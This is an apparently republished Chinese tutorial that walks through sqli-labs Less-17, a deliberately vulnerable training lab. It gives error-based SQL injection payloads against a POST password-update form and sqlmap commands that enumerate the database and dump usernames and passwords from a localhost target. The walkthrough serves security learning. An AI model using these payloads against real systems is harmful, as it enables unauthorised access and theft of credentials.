当前位置: 首页 > news >正文

sqli-labs:Less-17关卡详细解析

1. 思路🚀

本关的SQL语句为:

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
  • 注入类型:字符串型(单引号包裹)、POST请求、UPDATE请求
  • 提示:参数需以'闭合

php输出语句的部分代码:

if (mysql_error())
{echo '<font color= "#FFFF00" font size = 3 >';print_r(mysql_error());echo "</br></br>";echo "</font>";
}
else
{echo '<font color= "#FFFF00" font size = 3 >';//echo " You password has been successfully updated " ;		echo "<br>";echo "</font>";
}

值得注意的是,本关卡的落脚点是password,而非username,根据SQL语句可知,还必须知道其中一个用户的账号,不然update语句就进行不下去。暂且利用其中一个用户账号名admin,根据提示信息,使用报错盲注。

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-17/,只需要将下面的urlpost data放入对应位置,粘贴即可。

2.1. 判断能否注入⚡

uname=admin&passwd=1' order by 3 #
&submit=Submit

在这里插入图片描述


2.2. 获取数据库⚡

uname=admin&passwd=1' and updatexml(1,concat(1,(select database())),3) #
&submit=Submit

在这里插入图片描述


2.3. 获取表名⚡

uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
&submit=Submit

在这里插入图片描述


2.4. 获取字段⚡

uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
&submit=Submit

在这里插入图片描述


2.5. 获取数据⚡

tmp:将目标表包装成子查询结果(临时表)

uname=admin&passwd=1' and updatexml(1,concat(1,(select concat(username,':',password) from (select * from users) as tmp where username='admin' limit 1)),3) #
&submit=Submit

在这里插入图片描述

假如你使用了类似下面的语句,报图中错误:

uname=admin&passwd=1' and updatexml(1,concat(1,(select password from users limit 0,1)),3) #
&submit=Submit

在这里插入图片描述

这是因为在updatedeleteinsert语句的子查询中,不能直接引用正在被修改的表​​。你的报错注入使用了updatexml,而 updatexml本质上是一个​更新操作​​(虽然目的是触发错误),因此受此限制影响。


2.6. 参数汇总表⭐

参数作用示例
'闭合符号id=1'
#注释符#
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,比如:http://localhost:8081/Less-17/,由于本关卡为post请求,需要加参数指明请求格式,
--data="uname=admin&passwd=123456"passwd的值随意,具体如下:⭐

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-17/" --data="uname=admin&passwd=123456" --batch# 爆数据库
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

奇怪的是账号密码全为NULL,这或许是源代码的问题,不过之前的4条命令都可正常获取基本信息。

SQLMap参数表⭐

参数功能
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/310169.html

相关文章:

  • 数据结构:在链表中查找(Searching in a Linked List)
  • PyTorch分布式训练深度指南
  • Unity 打包程序在大屏上显示的问题、分辨率问题、UI适配问题、字体模糊不清问题
  • androidstudio调试apt
  • 【NLP舆情分析】基于python微博舆情分析可视化系统(flask+pandas+echarts) 视频教程 - 微博评论数据可视化分析-用户评论词云图实现
  • Apple基础(Xcode仨-Singxob)
  • 从零到一:构建基于本地LLM和向量数据库的法律智能问答系统(win11本地搭建)
  • 【C++进阶】一文吃透静态绑定、动态绑定与多态底层机制(含虚函数、vptr、thunk、RTTI)
  • 改进PSO算法!新自组织分层粒子群优化算法,具有变化的时间变化加速系数,附完整代码
  • 交通拥挤识别准确率↑32%:陌讯时空特征融合算法实战解析
  • 【AMD | Docker】超级全面版本:在Docker中验证AMD GPU移动显卡可用性的方法
  • Redis深度剖析:从基础到实战(下)
  • 开源 Arkts 鸿蒙应用 开发(十四)线程--任务池(taskpool)
  • 什么类型网站适合WEB应用防火墙?
  • (27)运动目标检测之对二维点集进行卡尔曼滤波
  • 全国青少年信息素养大赛(无人飞行器主题赛(星际迷航)游记)
  • plc 以太网通讯模块实现:施耐德 PLC 多设备实时数据无缝协同应用案例
  • Java Validator自定义日期范围验证注解:实现不超过一年的时间跨度校验
  • 面向对象三大特性---封装
  • FileInputStream 和 FileOutputStream 简介
  • ubuntu22.04系统入门 linux入门(二) 简单命令 多实践以及相关文件管理命令
  • 便携式综合气象观测仪:随时随地 “捕捉” 天气变化
  • PaddleOcr转onnx和推理
  • python:前馈人工神经网络算法之实战篇,以示例带学,弄明白神经网络算法应用的思路、方法与注意事项等
  • 高斯透镜公式(调整镜头与感光元件之间的距离时,使得不同距离的物体在感光元件上形成清晰的影像)
  • 企业级LLM智能引擎 的完整解决方案,整合了 SpringAI框架、RAG技术、模型控制平台(MCP)和实时搜索,提供从架构设计到代码实现的全面指南:
  • 【iOS】retain/release底层实现原理
  • Java 日期时间格式化模式说明
  • PTE之路--01
  • vivado扫盲 out-of-context(腾讯元宝)